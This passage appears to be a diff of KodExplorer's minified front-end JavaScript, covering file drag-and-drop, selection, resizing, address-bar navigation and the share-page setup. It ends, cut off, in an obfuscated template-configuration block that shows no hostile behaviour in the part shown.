t=0>=t?0:t,l=0>=l?0:l,t-=p,l-=u,r.css({left:t,top:l}),w(e),z(t-h+p,l-f+u),!0}},w=function(e){clearTimeout(b),b=!1,b=setTimeout(function(){try{_(e)}catch(t){}},10)},_=function(e){var t=e.ctrlKey||e.metaKey,a=function(e,t){G.sid!==void 0&&(e="none"),void 0!=t&&0!==t.search(G.KOD_GROUP_PATH)&&0!==t.search(G.KOD_USER_RECYCLE)&&core.isSystemPath(t)&&(e="clear");var a=htmlEncode(core.pathThis(t)),i=" "+r.attr("data-beforeInfo").replace(/<[^<>]+>/g,""),n={copyTo:''+LNG.copy_to+'"'+a+'"',moveTo:''+LNG.cute_to+'"'+a+'"',remove:''+LNG.remove+i+"",share:''+LNG.share+i+"",none:''+LNG.no_permission_write+"",clear:r.attr("data-beforeInfo")};S(t)||(n.copyTo=''+LNG.clone+""),r.find("span").html(n[e]),r.attr("data-actionType",e),r.attr("data-actionPath",t),r.attr("id","drag-action-"+e);var n={copyTo:"add",moveTo:"move",remove:"move",share:"add",none:"default",clear:"default"};v(n[e])},i=G.thisPath,n="";if($(".curDropToPath").exists())i=$(".curDropToPath").attr("data-path");else if($(".curDropTreeNode").exists()){var o=$(".curDropTreeNode").parent().attr("id"),s=ui.tree.zTree().getNodeByTId(o);i=s.path}else if($(".file-select-drag-temp").exists())i=ui.fileLight.path($(".file-select-drag-temp")),$(".file-select-drag-temp").hasClass("menu-recycle-button")&&(n="remove");else if($(".children-list-dropover").exists()){var l=$(".children-list-dropover");i=l.hasClass("children-list")?pathHashDecode(l.attr("data-path-children")):G.thisPath}else $(".split-hover").exists()?i=ui.fileLight.path($(".split-hover")):n=$(".recycle-hover").exists()?"remove":$(".share-hover").exists()&&1==ui.fileLight.fileListSelect().length?"share":"clear";n&&!t||(n=t?"copyTo":S(i)?"moveTo":"clear"),a(n,i)},L=function(t){if(!a)return!1;if(clearTimeout(b),clearTimeout(e),a=!1,d=!1,$("body").removeClass(g),r){r.addClass("animated-300").addClass("flipOutXLine").fadeOut(200,function(){r.remove(),r=!1}),$(".curDropToPath,.curDropTreeNode,.curDropTreeNode,.file-select-drag-temp,.children-list-dropover").removeClass("curDropToPath curDropTreeNode curDropTreeNode file-select-drag-temp children-list-dropover");var i=r.attr("data-actionType");if(-1!=$.inArray(i,["copyTo","moveTo","remove","share"])?O(!1):O(!0),v(!1),t){var n=function(e,t){switch(ShareData.data("FILE_SELECT_ARRAY",C),e){case"copyTo":ui.path.copyDrag(t,!0);break;case"moveTo":ui.path.cuteDrag(t);break;case"remove":ui.path.remove(!0);break;case"share":ui.path.share();break;default:}},o=r.attr("data-actionPath");n(i,o)}}},N=function(){$("body").addClass(g);var e=ui.fileLight.fileListSelect().length;$('
          '+e+'
          '+e+" "+LNG.file+"
          ").appendTo("body"),d=!0,setTimeout(I,20),T()},C=[],T=function(){C=[],ui.fileLight.fileListSelect().each(function(){C.push({path:ui.fileLight.path($(this)),type:"folder"==ui.fileLight.type($(this))?"folder":"file"})})},S=function(e){for(var t=0;C.length>t;t++)if(core.pathFather(C[t].path)!=e)return!0;return!1},D=0,A=5,j=35,E=20,P=50,I=function(){clearTimeout($(".file-draging-box").data("removeDelay")),$(".file-draging .file").stop(),$(".file-draging-box").remove();var e={icon:"file-list-icon",list:"file-list-list",split:"file-list-split"},t=e[G.userConfig.listType];$("
          ").appendTo("body"),y=$(Config.SelectClass).filter("[data-path!='']");var a=y.clone();(y.length>=P||$.browser.msie)&&(a=l.clone()),a.appendTo(".file-draging"),a.each(function(e){var t=$(".bodymain .file-continer .file[data-path='"+$(this).attr("data-path")+"']"),i=t.offset();$(this).css({left:i.left,top:i.top,width:t.width()}),$(this).data({"data-left":i.left,"data-top":i.top,"data-animateTime":200+e*A,"data-sizeAdd":D*e}),$(this).attr("data-path")==l.attr("data-path")&&$(this).addClass("handle_target"),1==a.length&&($(this).data({"data-animateTime":0}),E=0)}),y.addClass("item-file-draging");var i=setTimeout(function(){$(".file-draging-box").data("animate","finished");var e=$(".draggable-dragging");a.each(function(){var t=$(this),a=$(this).data("data-sizeAdd"),i=$(this).data("data-animateTime");$(this).data("status","ready"),$(this).animate({opacity:1},{duration:i,easing:"swing",progress:function(i,n){var o=t.offset(),s=e.offset(),r=(s.left+a-o.left)*n,l=(s.top+a+j-o.top)*n;t.css({left:o.left+r,top:o.top+l})},complete:function(){t.data("status","finished")}})})},E);$(".file-draging-box").data("dragDelay",i),$(".file-draging-box").data("animate","ready")},z=function(e,t){return"finished"!=$(".file-draging-box").data("animate")?($(".file-draging .file").each(function(){$(this).css({left:$(this).data("data-left")+e,top:$(this).data("data-top")+t})}),void 0):($(".file-draging .file").each(function(){if("finished"==$(this).data("status")){var e=$(this).data("data-sizeAdd"),t=$(".draggable-dragging").offset();$(this).css({left:t.left+e,top:t.top+e+j})}}),void 0)},O=function(e){var t=$(".file-draging .file").length;clearTimeout($(".file-draging-box").data("dragDelay")),$(".file-draging .file").each(function(t){var a=t*A,i=$(".bodymain .file-continer .file[data-path='"+$(this).attr("data-path")+"']");e?$(this).stop().animate({left:$(this).data("data-left"),top:$(this).data("data-top")},250+a,function(){y.removeClass("item-file-draging")}).animate({opacity:0},150,function(){$(this).remove()}):(i.stop().animate({opacity:1},100),$(this).stop().animate({opacity:0},200+a,function(){$(this).remove()}))});var a=setTimeout(function(){$(".file-draging-box").remove()},400+A*t);$(".file-draging-box").data("removeDelay",a)}},b=function(){var e=null,i=null,n=null,o=0,s=0,r=0,l=0,c="",d="bodymain";core.isApp("desktop")&&(d="file-continer");var p=$("."+d);p.die("mousedown").live("mousedown",function(e){if(!($(e.target).hasClass(d)&&20>$(document).width()-e.pageX)){if(r=$(".file-continer").outerHeight(),l=p.outerHeight(),ui.isEdit())return!0;if(1!=e.which||a)return!0;u(e),this.setCapture&&this.setCapture(),$(document).unbind("mousemove").mousemove(function(e){f(e)}),$(document).one("mouseup",function(e){clearTimeout(c),c=!1,v(e),this.releaseCapture&&this.releaseCapture()})}});var u=function(a){s=p.offset().left-p.scrollLeft(),o=p.offset().top-p.scrollTop(),"split"==G.userConfig.listType&&(o+=$(a.target).parents(".split-box").scrollTop()),$(a.target).parent().hasClass(Config.FileBoxClassName)||$(a.target).parent().parent().hasClass(Config.FileBoxClassName)||$(a.target).hasClass("fix")||($.contextMenu.hidden(),a.ctrlKey||a.metaKey||a.shiftKey||ui.fileLight.clear(),$(a.target).hasClass("ico")||(e=a.pageX-s,i=a.pageY-o,c=setTimeout(function(){t=!0,0==$(".select-container").length&&$('
          ').appendTo(Config.FileBoxSelector),n=$(".select-container")},100)))},f=function(a){if(!t)return!0;var o=a.pageX-p.offset().left+p.scrollLeft(),s=a.pageY-p.offset().top+p.scrollTop(),c=Math.abs(o-e),d=Math.abs(s-i);s>i&&d>r-i&&r>l&&(d=r-i),h(s,i,d,p),n.css({left:Math.min(o,e)+2,top:Math.min(s,i)+2,width:c,height:d}),1e3>ui.fileLight.fileListAll().length&&m()},h=function(e,t,a,i){var n=i.outerHeight(),o=i.scrollTop(),s=o;if(e>t){var r=t+a,l=n+o,c=r-l;c>0?s+=c:-n>c&&(s+=n-Math.abs(c))}else if(t>e){var d=t-a,p=o,c=d-p;0>c?s+=c:c>n&&(s+=Math.abs(c)-n)}s!==o&&i.stop(!0,!1).animate({scrollTop:s},100)},m=function(){for(var e=n.offset().left-p.offset().left+p.scrollLeft(),t=n.offset().top-p.offset().top+p.scrollTop(),a=e+n.width(),i=t+n.height(),o=ui.fileLight.fileListAll(),s=0;o.length>s;s++){var r=o[s],l=$(o[s]),c=l.parent().scrollTop(),d=r.offsetLeft,u=r.offsetTop-c,f=d+l.width(),h=u+l.height();if("split"==G.userConfig.listType&&(d+=l.parents(".split-box")[0].offsetLeft,f=d+l.width()),a-e+f-d>Math.abs(e+a-(d+f))&&i-t+h-u>Math.abs(t+i-(u+h))){if(!l.hasClass("file-select-drag-temp")){if(l.hasClass("selectToggleClass"))continue;if(l.hasClass(Config.SelectClassName)){l.removeClass(Config.SelectClassName).addClass("selectToggleClass"),ui.fileLight.resumeMenu(l);continue}l.addClass("file-select-drag-temp")}}else l.removeClass("file-select-drag-temp"),l.hasClass("selectToggleClass")&&l.addClass(Config.SelectClassName).removeClass("selectToggleClass")}},v=function(){return t?(m(),n.remove(),$(".file-select-drag-temp").addClass(Config.SelectClassName).removeClass("file-select-drag-temp"),$(".selectToggleClass").removeClass("selectToggleClass"),ui.fileLight.select(),t=!1,e=null,i=null,void 0):!1 -}},y=function(e,t){var a=$(".file-list-split .split-box.split-select");if(e)a=e.parents(".split-box");else if(0!=ui.fileLight.fileListSelect().length){var i=ui.fileLight.fileListSelect().last();a=i.parents(".split-box")}return a.find(t)},k={fileListAll:function(e){return"split"!=G.userConfig.listType?ui.fileLight.fileListAll():y(e,".file")},fileListSelect:function(e){return"split"!=G.userConfig.listType?ui.fileLight.fileListSelect():y(e,".file.select")}},x=function(e){var t=k.fileListAll(),a=k.fileListSelect(),i=t.length-1,n=0,o=ui.getColfileNumberDesktop(),s=t.index(a.first()),r=t.index(a.last());switch(e){case"pageup":case"up":n=0>=s||0==s%o?s:s-1;break;case"left":n=0>=s-o?0:s-o;break;case"pagedown":case"down":n=r>=i||0==(r+1)%o?r:r+1;break;case"right":n=r+o>=i?i:r+o;break;default:}return t.eq(n)},w=function(e){if(core.isApp("desktop"))return x(e);var t=k.fileListAll(),a=k.fileListSelect(),i=t.length-1,n=0,o=ui.getRowfileNumber(),s=ui.getPagefileNumber(),r=t.index(a.first()),l=t.index(a.last());switch(e){case"up":n=0>=r-o?0:r-o,n=_(n,!1);break;case"left":n=0>=r?0:r-1;break;case"down":n=l+o>=i?i:l+o,n=_(n,!0);break;case"right":n=l>=i?l:l+1;break;case"pageup":n=0>=r-s?0:r-s,n=_(n,!1);break;case"pagedown":n=l+s>=i?i:l+s,n=_(n,!0);break;default:}return t.eq(n)},_=function(e,t){for(var a=k.fileListAll(),i=a.eq(e),n=a.length;0!=i.parents(".hidden").length;){if(t?e++:e--,0>=e||e>=n)return e;i=a.eq(e)}return e},L=function(e){var t,a=k.fileListAll(),i=k.fileListSelect(),n="",o=!1;switch(e.indexOf("shift+")>=0&&(o=!0,e=e.replace("shift+","")),e){case"home":n=i.last(),t=a.first();break;case"end":n=i.first(),t=a.last();break;case"left":n=i.last(),t=w(e);break;case"up":n=i.last(),t=w(e);break;case"right":n=i.first(),t=w(e);break;case"down":n=i.first(),t=w(e);break;case"pageup":n=i.last(),t=w(e);break;case"pagedown":n=i.first(),t=w(e);break;case"clear":return ui.fileLight.clear(),void 0;case"reverse":return a.each(function(){$(this).toggleClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0;case"all":t=a;break;default:}if(!C(e)){if(o&&""!=n){var s=a.index(n),r=a.index(t);if(s>r){var l=s;s=r,r=l}return T(s,r,a),void 0}N(t)}},N=function(e){0!=e.length&&(ui.fileLight.clear(),e.addClass(Config.SelectClassName),ui.fileLight.select(),ui.fileLight.setInView(),"split"==G.userConfig.listType&&1==e.length&&u($(ui.fileLight.fileListSelect()[0])))},C=function(e){var t=$(ui.fileLight.fileListSelect()[0]);if("icon"==G.userConfig.listType)return!1;switch(e){case"left":if("list"==G.userConfig.listType)if(1==t.find(".children-more-cert.cert-open").length)t.find(".children-more-cert").removeClass("cert-open"),t.next().addClass("hidden");else{var a=t.parent(".children-list").prev(".file");N(a)}else if("split"==G.userConfig.listType){var a=t.parents(".split-box").prev().find(".select-split-parent");N(a)}break;case"right":if("list"==G.userConfig.listType)1==t.find(".children-more-cert").length&&(ui.fileContent.pathChildrenTree(t),t.find(".children-more-cert").addClass("cert-open"),t.next().removeClass("hidden"));else if("split"==G.userConfig.listType){var a=t.parents(".split-box").next().find(".file:eq(0)");N(a)}break;default:return!1}return!0},T=function(e,t,a){if(core.isApp("desktop"))return S(e,t,a);ui.fileLight.clear();for(var i=e;t>=i;i++)$(a[i]).addClass(Config.SelectClassName);ui.fileLight.select()},S=function(e,t,a){var i=ui.getColfileNumberDesktop(),n=Math.ceil(k.fileListAll().length/i),e={row:e%i,col:parseInt(e/i)},t={row:t%i,col:parseInt(t/i)};if(t.row=r;r++){var l=0,c=n;r==e.row&&(l=e.col),r==t.row&&(c=t.col);for(var d=l;c>=d;d++)s(r,d)}ui.fileLight.select()};return{init:function(){n(),f(),g(),b()},isDraging:function(){return a},selectSplit:h,selectPos:L}}),define("app/src/explorer/fileListResize",[],function(){var e={filename:250,filetype:80,filesize:80,filetime:150,explorerTreeWidth:199,editorTreeWidth:199},t={filename:150,filetype:60,filesize:60,filetime:120,explorerTreeWidth:2,editorTreeWidth:2},a=e,i=function(){if(LocalData.get("resizeConfig"))a=jsonDecode(LocalData.get("resizeConfig"));else{G.userConfig.resizeConfig!==void 0&&(a=jsonDecode(htmlDecode(G.userConfig.resizeConfig)));var i=jsonEncode(a);LocalData.set("resizeConfig",i)}$.each(e,function(i){(!a[i]||a[i]=a&&(a=t[e]),n+=a,i+=".children-list,.file-list-list .file ."+e+",#main-title ."+e+"{width:"+a+"px;}")}),i+=".children-list,.file-list-list .file{width:"+(n+50)+"px;}",$.setStyle(i,"header-resize-width")}},s=function(i,o,s){if(!$(".frame-left").is(":hidden")){var r=Config.pageApp+"TreeWidth",l=$.extend(!0,{},a);l[r]+=i,l[r]<=t[r]&&(l[r]=t[r]);var c=l[r],d=$(".frame-left"),p=$(".frame-resize"),u=$(".frame-right"),f=e[r];if(c>f-8&&f+8>c&&(c=f+1),s){var h=400;d.animate({width:c},h),p.animate({left:c-5},h),u.animate({left:c},h)}else d.css("width",c),p.css("left",c-5),u.css("left",c);ui.setStyle!==void 0&&ui.setStyle(),o&&(a=l,n())}},r=function(){return void 0!=$.getUrlParam("type")?!0:!1},l=function(e,i,s){var r=$.extend(!0,{},a);r[e]+=i,o(r),s&&(a=r,$.each(a,function(e,i){t[e]>=i&&(a[e]=t[e])}),n())},c=function(){$("#main-title").hasClass("bind-init")||(o(a),$("#main-title").addClass("bind-init"),$.each(e,function(e){$("#main-title ."+e+"-resize").drag({start:function(){},move:function(t){l(e,t,!1)},end:function(t){l(e,t,!0)}})}))},d=function(){var e=$(".frame-resize");e.drag({start:function(){e.addClass("active"),$(".resize-mask").css("display","block")},move:function(e){s(e,!1,!1)},end:function(t){s(t,!0,!1),e.removeClass("active"),$(".resize-mask").css("display","none")}})},p=function(){var e="fileIconSize";core.isApp("desktop")&&(e="fileIconSizeDesktop");var t=G.userConfig[e];t||(t="75"),h(t,!1),u(t)},u=function(e){$(".set-file-icon-size .file-icon-size").removeClass("selected");for(var t=[["40","box-size-smallx"],["60","box-size-small"],["80","box-size-default"],["100","box-size-big"],["120","box-size-bigx"]],a=10,i="",n=0;t.length>n;n++){var o=parseInt(t[n][0]);if(e>=o-a&&o+a>=e){i=t[n][1];break}}""!=i&&$("."+i).addClass("selected")},f=function(e){var t="fileIconSize";core.isApp("desktop")&&(t="fileIconSizeDesktop"),G.userConfig[t]=e,u(e),$.get(G.appHost+"setting/set&k="+t+"&v="+e)},h=function(e,t){var a=e,i=105,n=30,o=250;core.isApp("desktop")&&(n=40,o=150),a=n>=a?n:a,a=a>=o?o:a;var s=(e-n)*i/(o-n),r=20,l=10,c=parseInt(a),d=c+2*r-l+5,p=c-l,u=c-l,h=.4*c,m=c+3*r-l,v=".file-list-icon div.file,.file-list-icon .flex-empty{height:"+d+"px;width:"+c+"px;}";core.isApp("desktop")&&(d-=5,v="div.file-list-icon div.file,.file-list-icon .flex-empty{height:"+d+"px;width:"+c+"px;}"),$.browser.mozilla&&(u-=4);var g="div.file-list-icon div.file{max-height:"+m+"px;}"+v+" .file-list-icon .meta-info{height:"+h+"px;width:"+h+"px; margin-right:"+.16*h+"px;margin-top:-"+1.1*h+"px;} .file-list-icon div.file .filename{width:"+c+"px;} .file-list-icon div.file .filename #pathRenameTextarea, .file-list-icon div.file .filename .newfile{width:"+c+"px;} .file-list-icon div.file .ico{padding-left:"+l/2+"px;height:"+u+"px;width:"+p+"px} .file-list-icon div.file .ico.picture{width:"+p+"px;padding-left:"+l/2+"px;overflow:hidden;display:block;} ";$.setStyle(g,"file_icon_resize"),$(".slider-handle").css("top",s),t&&f(e)},m=function(){var e,t=$(".slider-handle");$(".set-icon-size-slider").bind("click",function(e){return stopPP(e),!1});var a=function(t){var a=0,i=105,n=30,o=250,s=e+t;s=a>s?a:s,s=s>i?i:s;var r=parseInt(s/i*(o-n)+n);return h(r,!1),r};t.drag({start:function(){t.addClass("active"),e=parseInt(t.css("top"))},move:function(e,t){a(t)},end:function(e,i){t.removeClass("active"),f(a(i),!0)}});var i=$(".slider-bg");$(".slider-bg").unbind("click").bind("click",function(t){var n=t.clientY-i.offset().top;e=0,f(a(n),!0)})},v=function(){var e=function(e,t){var a=e.parent(),i=$(".split-box").index(a),n=parseInt(a.data("before_width"))+t;if(!(150>n)){$($(".split-line").get(i)).css("width",n),a.css("width",n),$(".split-box:gt("+i+")").each(function(){$(this).hasClass("is-drag-split")||$(this).css("left",parseInt($(this).data("before_left"))+t+"px")});var o=[];$(".split-box").each(function(){o.push({left:$(this).css("left"),width:$(this).width()})}),LocalData.set("splitBoxSize",jsonEncode(o))}};$(".bodymain .file-list-split .split-drag").drag({start:function(e,t){var a=t.parent();a.addClass("is-drag-split").data("before_width",a.width()),$(".split-box,.split-line").each(function(){$(this).data("before_left",$(this).css("left"))})},move:function(t,a,i,n){e(n,t)},end:function(e,t,a,i){i.parent().removeClass("is-drag-split")}},!0),$(".file.select-split-parent").removeClass("select-split-parent"),$(".split-box").each(function(){$('.file[data-path="'+$(this).attr("data-path")+'"]').addClass("select-split-parent")}),g()},g=function(){var e=jsonDecode(LocalData.get("splitBoxSize")),t=0;e||(e=[]);var a=function(a,i){var n=e[i];n||(n={width:250,left:t}),t+=n.width+1,a.css({width:n.width+"px",left:n.left})};t=0,$(".split-box").each(function(e){a($(this),e)}),t=0,$(".split-line").each(function(e){a($(this),e)}),$(".bodymain").scrollLeft(1e5)};return{init:function(){i(),r()&&(a=e),o(a),d(),s(0,!1,!0),m()},initFileSize:p,bindSplitResize:v,bindHeaderResize:c,setFileIconSize:h}}),define("app/src/explorer/headerAddress",[],function(){var e=function(){$("#yarnball li a").die("click").live("click",function(e){var t=$(this).attr("data-path");n(t),stopPP(e)}),$("#yarnball").die("click").live("click",function(){return $("#yarnball").css("display","none"),$("#yarnball-input").css("display","block"),$("#yarnball-input input").focus(),!0});var e=$("#yarnball-input input");e.die("blur").live("blur",function(){n(e.val())}).keyEnter(function(){n(e.val())}),$(".header-right input").keyEnter(function(){ui.path.search($(".header-right input").val(),G.thisPath)}),$(".header-right input").bind("keyup focus",function(){ui.path.setSearchByStr($(this).val())}),$(".header-content a,.header-content button").click(function(){var e=$(this).attr("id");switch(e){case"btn-history-back":ui.path.history.back();break;case"btn-history-next":ui.path.history.next();break;case"refresh":ui.f5(!0,!0),ui.tree.init();break;case"home":ui.path.list(G.myhome);break;case"fav":ui.path.pathOperate.fav({path:G.thisPath,type:"folder",name:$("ul.yarnball li:last .title-name").html()});break;case"goto-father":o();break;case"setting":core.setting();break;case"search":ui.path.search($(".header-right input").val(),G.thisPath);break;default:}return!0})},t=function(e){var t=G.thisPath;i(G.thisPath),$("#yarnball-input").css("display","none"),$("#yarnball").css("display","block");var n=function(e){var t='
        • {$3}
        • ',a='
        • {$3}
        • ';e=e.replace(/\/+/g,"/");var i=e.split("/");""==i[i.length-1]&&i.pop();var n=i[0]+"/",o=t.replace(/@1@/g,n),s=i[0],r="";if(G.jsonData.info&&G.jsonData.info.pathType&&""!=i[0]){var l=core.getPathIcon(G.jsonData.info,G.jsonData.info.name);r=''+core.iconSmall(l.icon)+"",s=l.name}o=o.replace("{$2}",i.length),o=o.replace("{$3}",r+''+htmlEncode(s)+"");for(var c=o,d=1,p=i.length-1;i.length>d;d++,p--){n+=htmlEncode(i[d])+"/";var o=a.replace(/@1@/g,n);o=o.replace("{$2}",p),o=o.replace("{$3}",''+htmlEncode(i[d])+""),c+=o}return'
            '+c+"
          "};void 0==e&&$("#yarnball").html(n(t)),a()},a=function(){$(".yarnball").stop(!0,!0);var e=$("#yarnball").innerWidth(),t=0;$("#yarnball li a").each(function(){t+=$(this).outerWidth()+parseInt($(this).css("margin-left"))+5});var a=e-t;0>=a?$(".yarnball").css("width",t+"px").css("left",a+"px"):$(".yarnball").css({left:"0px",width:e+"px"})},i=function(e){var t=$("#yarnball-input .path");if(void 0==e){var a=t.val();return a=rtrim(core.pathClear(a))+"/"}t.val(e)},n=function(e,a){e=e.replace(/\\/g,"/"),ui.path.list(e),t(a)},o=function(){var e=i();if("/"==e||-1==e.indexOf("/"))return Tips.tips(LNG.path_is_root_tips,"warning"),void 0;var a=core.pathFather(e);ui.path.list(a),t()};return{init:e,addressSet:t,resetWidth:a,gotoFather:o}}),define("app/shareCommon/topbar",[],function(){var e=function(){var e=G.appHost+"share/fileDownload&user="+G.user+"&sid="+G.sid,t=G.appHost+"share/fileProxy&user="+G.user+"&sid="+G.sid;"file"!=G.shareInfo.type&&G.path!==void 0?(t+="&path="+G.path,e+="&path="+G.path,$(".btn.button-my-share").hide(),$(".share-info-user .btn-group").show()):($(".btn.button-my-share").show(),$(".share-info-user .btn-group").hide()),"file"==G.shareInfo.type&&($(".btn.button-my-share").hide(),$(".share-info-user .btn-group").show()),"1"==G.shareInfo.notDownload&&(e="javascript:Tips.tips('"+LNG.share_not_download_tips+"',false);"),$(".share-info-user").removeClass("hidden"),$(".btn-download").attr("href",e);var a=date("Y/m/d H:i:s",G.shareInfo.mtime);$(".topbar .time").html(a),"file"==G.shareInfo.type&&$(".topbar .size").html(G.shareInfo.size),$(".topbar .info").html(LNG.share_view_num+G.shareInfo.numView+" "+LNG.share_download_num+G.shareInfo.numDownload),$("#button_share").die("click").live("click",function(){share()}),"A"!=core.versionType&&$(".version_vip_free").remove(),core.isApp("explorer")&&(console.log($(".btn-download")),$(".btn-download").hide().attr("href","").remove())};return{init:e}}); \ No newline at end of file +/*! power by kodcloud ver4.30(2018-07-05) [build 1530795186808] */ +define("app/src/shareExplorer/main",["lib/jquery-lib","lib/util","lib/ztree/ztree","lib/contextMenu/jquery-contextMenu","lib/artDialog/jquery-artDialog","../../common/core","../../common/tpl/upload.html","../../common/tpl/formMake.html","../../common/core.tools","../../common/core.upload","../../common/core.api","../../common/core.playSound","../../common/core.formMake","../../common/rightMenuExtence","../../app/appBase","../../app/editor","../../app/openWith","../../app/html","../../common/tpl/copyright.html","../../common/tpl/themeDIY.html","../../shareCommon/rightMenu","../../common/taskTap","../explorer/ui","../explorer/fileContent","../../path/tpl/file/list.html","../../common/tree","../../path/pathOperate","../../path/tpl/fileinfo/fileInfo.html","../../path/tpl/fileinfo/pathInfo.html","../../path/tpl/share.html","../../path/tpl/fileinfo/pathInfoMore.html","../../path/tpl/appEdit.html","../../path/clipboard","../../path/search","../../path/tpl/search.html","../../path/tpl/searchList.html","../../path/path","../../path/tpl/file/create.html","../explorer/fileLight","../explorer/fileSelect","../explorer/fileListResize","../explorer/headerAddress","../../shareCommon/topbar"],function(a,b,c){Config={BodyContent:".bodymain",FileBoxSelector:".file-continer",FileBoxClass:".file-continer .file",FileBoxClassName:"file",FileBoxTittleClass:".file-continer .title",SelectClass:".file-continer .select",SelectClassName:"select",TypeFolderClass:"folder-box",TypeFileClass:"file-box",HoverClassName:"hover",FileOrderAttr:"number",TreeId:"folder-list-tree",pageApp:"explorer",treeAjaxURL:"share/treeList&app=folder&user="+G.user+"&sid="+G.sid,AnimateTime:200},a("lib/jquery-lib"),a("lib/util"),a("lib/ztree/ztree"),a("lib/contextMenu/jquery-contextMenu"),a("lib/artDialog/jquery-artDialog"),core=a("../../common/core"),rightMenu=a("../../shareCommon/rightMenu"),TaskTap=a("../../common/taskTap"),ui=a("../explorer/ui"),ui.tree=a("../../common/tree"),ui.path=a("../../path/path"),ui.fileLight=a("../explorer/fileLight"),ui.fileSelect=a("../explorer/fileSelect"),ui.fileListResize=a("../explorer/fileListResize"),ui.headerAddress=a("../explorer/headerAddress");var d=a("../../shareCommon/topbar");$(document).ready(function(){rightMenu.initExplorer(),core.init(),ui.init(),ui.fileLight.init(),ui.fileSelect.init(),ui.headerAddress.init(),ui.tree.init(),TaskTap.init(),d.init(),ui.fileListResize.init(),ui.fileListResize.initFileSize(),$(".init-loading").fadeOut(450).addClass("pop_fadeout"),$(".frame-main .frame-left #folder-list-tree").css("bottom","0px"),"fileList"==$.parseUrl().params.type&&($(".menu-theme-list").remove(),$(".tools .tools-left").remove(),$(".header-middle").prependTo(".tools").css("padding-top","3px"),$("#yarnball").addClass("btn-left-radius")),$(".kod-toolbar-path [data-action=upload]").hide(),G.shareInfo.canUpload&&($(".kod-toolbar-path [data-action=upload]").show(),a.async("lib/webuploader/webuploader-min",function(){core.uploadInit()})),$("#fav").remove(),Hook.bind("explorer.path.ajaxLive",function(){$(".db-click-rename").removeAttr("title").removeClass("db-click-rename")}),ui.path.showFile=function(){var a=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(ui.path.makeParam().path);window.open(a)}})});;;;;;;!function($){!function($,n,t,i,r,o,e,c,f,a,u,v,d,s,O,E,h,C,l,p,A,I,G,g,P,N,T,J,Q,K,L,y,x,m,B,M,F,k,S,R,b,H,_,D,X,w,V,U,Y,z,q,W,Z,j,$n,nn,tn,rn,on,en,cn,fn,an,un,vn,dn,sn,On,En,hn,Cn,ln,pn,An,In,Gn,gn,Pn,Nn,Tn,Jn,Qn,Kn,Ln,yn,xn,mn,Bn,Mn,Fn,kn,Sn,Rn,bn,Hn,_n,Dn,Xn,wn,Vn,Un,Yn,zn,qn,Wn,Zn,jn,$t,nt,tt,it,rt,ot,et,ct,ft,at,ut,vt,dt,st,Ot,Et,ht,Ct,lt,pt,At,It,Gt,gt,Pt,Nt,Tt,Jt,Qt,Kt,Lt,yt,xt,mt,Bt,Mt,Ft,kt,St,Rt,bt,Ht,_t,Dt,Xt,wt,Vt,Ut,Yt,zt,qt,Wt,Zt,jt,$i,ni,ti,ii,ri,oi,ei,ci,fi,ai,ui,vi,di,si,Oi,Ei,hi,Ci,li,pi,Ai,Ii,Gi,gi,Pi,Ni,Ti,Ji,Qi,Ki,Li,yi,xi,mi,Bi,Mi,Fi,ki,Si,Ri,bi,Hi,_i,Di,Xi,wi,Vi,Ui,Yi,zi,qi,Wi,Zi,ji,$r,nr,tr,ir,rr,or,er,cr,fr,ar,ur,vr,dr,sr,Or,Er,hr,Cr,lr,pr,Ar,Ir,Gr,gr,Pr,Nr,Tr,Jr,Qr,Kr,Lr,yr,xr,mr,Br,Mr,Fr,kr,Sr,Rr,br,Hr,_r,Dr,Xr,wr,Vr,Ur,Yr,zr,qr,Wr,Zr,jr,$o,no,to,io,ro,oo,eo,co,fo,ao,uo,vo,so,Oo,Eo,ho,Co,lo,po,Ao,Io,Go,go,Po,No,To,Jo,Qo,Ko,Lo,yo,xo,mo,Bo,Mo,Fo,ko,So,Ro,bo,Ho,_o,Do,Xo,wo,Vo,Uo,Yo,zo,qo,Wo,Zo,jo,$e,ne,te,ie,re,oe,ee,ce,fe,ae,ue,ve,de,se,Oe,Ee,he,Ce,le,pe,Ae,Ie,Ge,ge,Pe,Ne,Te,Je,Qe,Ke,Le,ye,xe,me,Be,Me,Fe,ke,Se,Re,be,He,_e,De,Xe,we,Ve,Ue,Ye,ze,qe,We,Ze,je,$c,nc,tc,ic,rc,oc,ec,cc,fc,ac,uc,vc,dc,sc,Oc,Ec,hc,Cc,lc,pc,Ac,Ic,Gc,gc,Pc,Nc,Tc,Jc,Qc,Kc,Lc,yc,xc,mc,Bc,Mc,Fc,kc,Sc,Rc,bc,Hc,_c,Dc,Xc,wc,Vc,Uc,Yc,zc,qc,Wc,Zc,jc,$f,nf,tf,rf,of,ef,cf,ff,af,uf,vf,df,sf,Of,Ef,hf,Cf,lf,pf,Af,If,Gf,gf,Pf,Nf,Tf,Jf,Qf,Kf,Lf,yf,xf,mf,Bf,Mf,Ff,kf,Sf,Rf,bf,Hf,_f,Df,Xf,wf,Vf,Uf,Yf,zf,qf,Wf,Zf,jf){$[t](i,[r,o,e,c,f,a,u,v,d,s,O,E,h,C],function(n){$[l]=n(r),$[p]=n(o);var t=n(e),i=n(c),$a=n(f),na=n(a),ta=n(u);n(v),$[A]=n(d),n(s),n(O),n(E),$[I]=function(n){return $[G](n)},$[g]=function(n){return $[P](n)};var ia=function(){$[T][N]=n,$[Q][J]||($[Q][J]=function(n,t){$[Q][K][n]=t},$[Q][L]=function(n,t){$[Q][K][y][n]=t}),$[Q][J](x,!m),$[Q][J](B,!M),$[Q][L](F,{$:$[k],window:$[T],log:$[R][S],core:$[b],pathTools:$[T][H],inArray:$[_]}),$[Q][K][y][H]=$[T][H],$[Q][K][x]=!m,D==$[w][X]?($[Q][K][V]=!m,$[Q][K][U]=!m,$[Q][K][Y]=!M):($[Q][K][V]=!M,$[Q][K][U]=!M,$[Q][K][Y]=!m)},ra=function(){ia(),z!=typeof 